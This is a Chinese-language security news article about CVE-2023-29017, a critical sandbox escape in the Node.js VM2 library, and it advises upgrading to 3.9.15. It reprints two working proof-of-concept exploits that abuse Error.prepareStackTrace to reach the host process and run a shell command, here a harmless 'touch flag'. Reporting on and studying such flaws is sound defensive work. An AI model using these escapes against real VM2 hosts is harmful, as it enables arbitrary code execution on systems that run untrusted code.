探索网络安全新技术
攀登黑客技术最高峰

JavaScript漏洞再次曝光:VM2漏洞PoC公开 最高评级10分

JavaScript漏洞再次曝光:VM2漏洞PoC公开 最高评级10分-威武网安

漏洞说明

VM2是一款使用nodejs实现的沙箱环境,主要用于测试不受信任的JavaScript代码。它允许代码部分执行,从而防止对系统资源和外部数据的非授权访问。VM2的月下载量超过1600万,被广泛应用于各种IDE、代码编辑器、FaaS解决方案、渗透测试框架、安全工具以及其他JS相关产品中。

韩国科学技术院(KAIST)WSP实验室博士生Seongil Wi在VM2中发现了一个安全漏洞。该漏洞被命名为CVE-2023-29017,CVSS评分为10分。该漏洞的根本原因在于,VM2在处理传递给Error.prepareStackTrace的host对象时未正确处理异步错误,导致攻击者可以利用该漏洞绕过沙箱保护,获得在运行沙箱的主机上执行远程代码的权限,并最终执行任意shell代码。

该漏洞影响VM2 3.9.14及其之前的版本。VM2在发布的3.9.15版本中已经修复了该漏洞。

发布了补丁之后,Seongil Wi在GitHub上公开了两个CVE-2023-29017漏洞利用的变种。这些PoC可以在运行VM2的主机上创建一个名为”flag”的文件,证明VM2沙箱保护已经被成功绕过,并通过执行命令在主机系统上创建任意文件。

对于使用VM2的用户,建议立即升级到最新版本以修复该漏洞,并加强对系统安全的监控和保护。

VM2 Exploits

#vm2_3.9.14_exploit_1.js

const {VM} = require("vm2");
let vmInstance = new VM();

const code = `
Error.prepareStackTrace = (e, frames) => {
    frames.constructor.constructor('return process')().mainModule.require('child_process').execSync('touch flag'); 
};
(async ()=>{}).constructor('return process')()
`

vmInstance.run(code);

#vm2_3.9.14_exploit_2.js

const {VM} = require("vm2");
let vmInstance = new VM();

const code = `
Error.prepareStackTrace = (e, frames) => {
    frames.constructor.constructor('return process')().mainModule.require('child_process').execSync('touch flag'); 
};
async function aa(){
    eval("1=1")
}
aa()
`

vmInstance.run(code);
赞(0) 打赏
版权声明:本文采用知识共享 署名4.0国际许可协议 [BY-NC-SA] 进行授权
文章名称:《JavaScript漏洞再次曝光:VM2漏洞PoC公开 最高评级10分》
文章链接:https://www.wevul.com/472.html
本站所有内容均来自互联网,只限个人技术研究,禁止商业用途,请下载后24小时内删除。

评论 抢沙发

如果文章对你有帮助 可以打赏一下文章作者

非常感谢你的打赏,我们将继续提供更多优质内容,让我们一起创建更加美好的网络世界!

支付宝扫一扫打赏

微信扫一扫打赏

登录

找回密码

注册